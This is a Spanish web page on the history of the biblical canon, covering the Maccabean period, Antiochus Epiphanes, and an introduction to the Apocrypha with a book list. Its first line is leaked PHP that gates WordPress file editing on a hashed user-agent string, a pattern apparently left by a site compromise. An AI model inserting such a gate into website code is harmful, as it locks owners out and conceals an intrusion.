if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } apócrifo – Texto Bíblico

Desde los Macabeos hasta Cristo

HISTORIA DEL CANON BÍBLICO

I – ANTIGUO TESTAMENTO

Desde los Macabeos hasta Cristo

En el siglo II a. C, el rey seléucida¹ Antíoco Epífanes procuró helenizar a los judíos y aplastar su espíritu nacionalista. Eliminó sus ritos religiosos, cambió sus formas de vida y trató de destruir su literatura sagrada. Este rey persiguió a los judíos de ideología conservadora y suspendió los servicios del templo entre los años 168 y 165 a. C. Al referirse a sus actividades, Primero y Segundo de los Macabeos, dos libros apócrifos, citan frases de Daniel 8 y 9².

Antíoco IV Epífanes ΘΕΟΥ ΕΠΙΦΑΝΟΥΣ ΝΙΚΗΦΟΡΟΥ / ΒΑΣΙΛΕΩΣ ΑΝΤΙΟΧΟΥ

Después de una descripción de los esfuerzos hechos en ese tiempo para introducir ritos paganos, Primero de los Macabeos 1:56, 57 dice lo siguiente acerca de este punto: “Rompían y echaban al fuego los libros de la Ley que podían hallar. Al que encontraban con un ejemplar de la Alianza en su poder, o bien descubrían que observaba los preceptos de la Ley, la decisión del rey le condenaba a muerte.” (Biblia de Jerusalén).

Fue probablemente durante este período, mientras estaba prohibida la lectura de los libros del Pentateuco, cuando comenzó la práctica de leer en los servicios religiosos pasajes de los profetas en lugar de pasajes de la ley. Estos pasajes de los libros proféticos fueron llamados más tarde haftarot, y se leían en relación con secciones de la ley tan pronto como se levantaron las restricciones (cf. Lucas 4:16, 17; Hechos 13:15, 27).

Muchos libros se salvaron de la destrucción durante ese período de desgracia nacional, cuando toda la vida religiosa de los judíos estuvo en peligro. La tradición judía sostiene que la preservación de muchos libros se debió al valor y a los esfuerzos de Judas Macabeo. En el segundo libro de los Macabeos, escrito en los comienzos del siglo I a. C, se declara que Judas Macabeo “reunió todos los libros dispersos a causa de la guerra que sufrimos, los cuales están en nuestras manos” (2 Macabeos 2:14).

Por el año 132 AC, el nieto de Jesús Ben Sirác tradujo al griego la obra hebrea de su abuelo, llamada Eclesiástico. Le añadió un prólogo histórico en el cual se menciona tres veces la triple división del canon del Antiguo Testamento.

Por este tiempo también se escribió el libro apócrifo Primero de los Macabeos. En él se cita el libro de los Salmos (1 Macabeos 7:17). Daniel es mencionado (1 Macabeos 2:60), así como sus tres amigos, junto con Abrahán, José, Josué, David, Elías y otros antiguos varones de Dios. Aquí se tiene la impresión clara de que el autor de 1 Macabeos consideraba el libro de donde recibió la información acerca de Daniel como una de las obras antiguas, y no como una nueva adición del siglo de los Macabeos, como lo pretende la alta crítica.

El primer testimonio de la expresión “Escritura” usada para designar ciertas partes de la Biblia es la Carta de Aristeas (secciones 155 y 168 de Apocrypha and Pseudepigrapha, de R. H. Charles, t. 2.) Esa carta fue escrita posiblemente entre 96 y 63 AC. Ese término, usado regularmente por los últimos escritores del Nuevo Testamento al referirse a los libros del Antiguo Testamento, es empleado por Aristeas para designar el Pentateuco.

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¹ Los “seleúcidas” constituyen la dinastía fundada por Seleuco, general de Alejandro. “Epífanes” es una referencia a la pretensión de Antioco IV de que él era una manifestación o epifanía de Dios.

² 1 Macabeos 1:54 aplica la frase βδέλυγμα ἐρημώσεως [bdélugma erêmôseôs] “abominación desoladora” de Daniel 9:27  (βδέλυγμα τῶν ἐρημώσεων [bdélugma tôn erêmôseôn] “abominación de las desolaciones”) a lo que hizo Antíoco Epífanes en el altar del templo judío: levantó un ídolo en él, y sacrificó un cerdo, para horror de todos los devotos judíos, para quienes los cerdos fueron siempre animales que ni siquiera se debían tocar (cf. Levítico 11:7, 8)). Pero Jesús en su discurso del Monte de los Olivos dijo que la “abominación de la desolación” mencionada por Daniel todavía se hallaba en el futuro (Mateo 24:15), y añadió; “el que lee, entienda”. De manera que si queremos entender el significado del “cuerno pequeño” de Daniel 8, tendremos que llegar a la conclusión, con Jesús, de que no pudo haber sido Antíoco Epífanes, que murió en el año 164 AC, casi doscientos años antes del discurso del Monte de los Olivos.

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 HISTORIA DEL CANON BÍBLICO

I – ANTIGUO TESTAMENTO

Introducción

El canon

División antigua y moderna del Antiguo Testamento

Antes del exilio en Babilonia

En el tiempo de Esdras-Nehemías

Entre Nehemías y los Macabeos

Desde los Macabeos hasta Cristo

El testimonio de Cristo y los apóstoles

Testimonios de judíos del primer siglo

En la iglesia cristiana primitiva

La iglesia católica y los apócrifos

Criterios protestantes acerca del canon

Resumen

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Los Apócrifos – Introducción

Los Apócrifos

Introducción

Apócrifos” se refiere en griego a las cosas que están “ocultas”¹  y denota a aquellos libros que aparecieron al margen del canon., ya sea del AT o del NT. Los eruditos han sugerido que cuando este vocablo fue aplicado al principio a ciertos libros religiosos, se hizo así para indicar que no debían estar al alcance del público en general debido a que su mensaje era de una naturaleza misteriosa, que sólo debía presentarse a los iniciados.

Para los protestantes actuales, el término apócrifos comprende los libros del período del Antiguo Testamento que estuvieron incluidos en la Septuaginta (LXX)², pero que no fueron aceptados como parte de las Escrituras por los judíos de Palestina, ni fueron incluidos en el canon hebreo del Antiguo Testamento.

Los libros apócrifos por regla general no son aceptados por los protestantes, y por eso no se incluyen en sus ediciones actuales de la Biblia; pero sí son considerados como deuterocanónicos³ por los católicos romanos y ortodoxos, y suelen aparecer en las Biblias católicas.

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¹ La palabra “apócrifo” del griego ἀπόκρυφος [apókruphos]) significa “escondido”, “secreto”, “oculto”, “de origen desconocido”. Como los gnósticos y otras sectas heréticas afirmaban que sus creencias particulares estaban fundadas en escritos “apócrifos” (secretos) que los Padres de la iglesia, como por ejemplo Melitón de Sardis, siglo II; Orígenes, c. 185-253; Atanasio, c. 296-373; Anfiloquio, c. 339-c.394; Rufino, c. 345-?; Jerónimo, c. 340-420, consideraban espurios (falsos), entre éstos el término “apócrifo” llegó a significar espurio. Y fue Jerónimo, traductor de la Vulgata, quien, en el Prologus Galeatus de su famosa versión de la Biblia aplicó por primera vez el nombre de “apócrifos” a los libros que no encontró en el canon hebreo de las Sagradas Escrituras.

prologus galeatus

Hay otros doctores de la iglesia que no aceptaron los libros apócrifos, entre los cuales los siguientes: Hilario de Poitiers, c. 315-c. 367; el papa Gregorio I (Magno), c. 540-604; Beda, llamado “el Venerable”, 672-735; Hugo de San Víctor, ?- 1141; Ricardo de San Víctor, ?- 1173; Tomás de Aquino, c. 1225-1274; Nicolás de Lira, c. 1270-c. 1349; y otros. La Iglesia Católica finalmente los aceptó en el Concilio de Trento (1545-1563). Esta aceptación distó mucho de ser unánime, pues las discusiones sobre el tema fueron intensas y prolongadas.

ἀπόκρυφος [apókruphos] aparece 3 veces en el Nuevo Testamento:


(1) Marcos 4:22

Porque no hay nada oculto que no haya de ser manifestado; ni escondido, que no haya de salir a luz.

(2) Lucas 8:17
Porque nada hay oculto, que no haya de ser manifestado; ni escondido, que no haya de ser conocido, y de salir a luz.

(3) Colosenses 2:3
En quien están escondidos todos los tesoros de la sabiduría y del conocimiento.

 

² La evidencia de la Septuaginta (LXX) que incluye los libros apócrifos es muy tardía, porque la mayoría de los manuscritos griegos que incluyen los libros apócrifos del AT se remontan a los siglos IV o V de nuestra era. Por eso, no proporcionan una perspectiva fiable del canon de la Septuaginta (LXX) durante la época de la iglesia primitiva (apostólica).

³ Literalmente, “de segunda inspiración”, o “de inspiración posterior”.

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Libros apócrifos:

Primero de Esdras
Tobías
Judit
Añadiduras a Ester
Sabiduría
Eclesiástico
Baruc
Epístola de Jeremías
Añadiduras a Daniel
Oración de Manasés
Primero de los Macabeos
Segundo de los Macabeos

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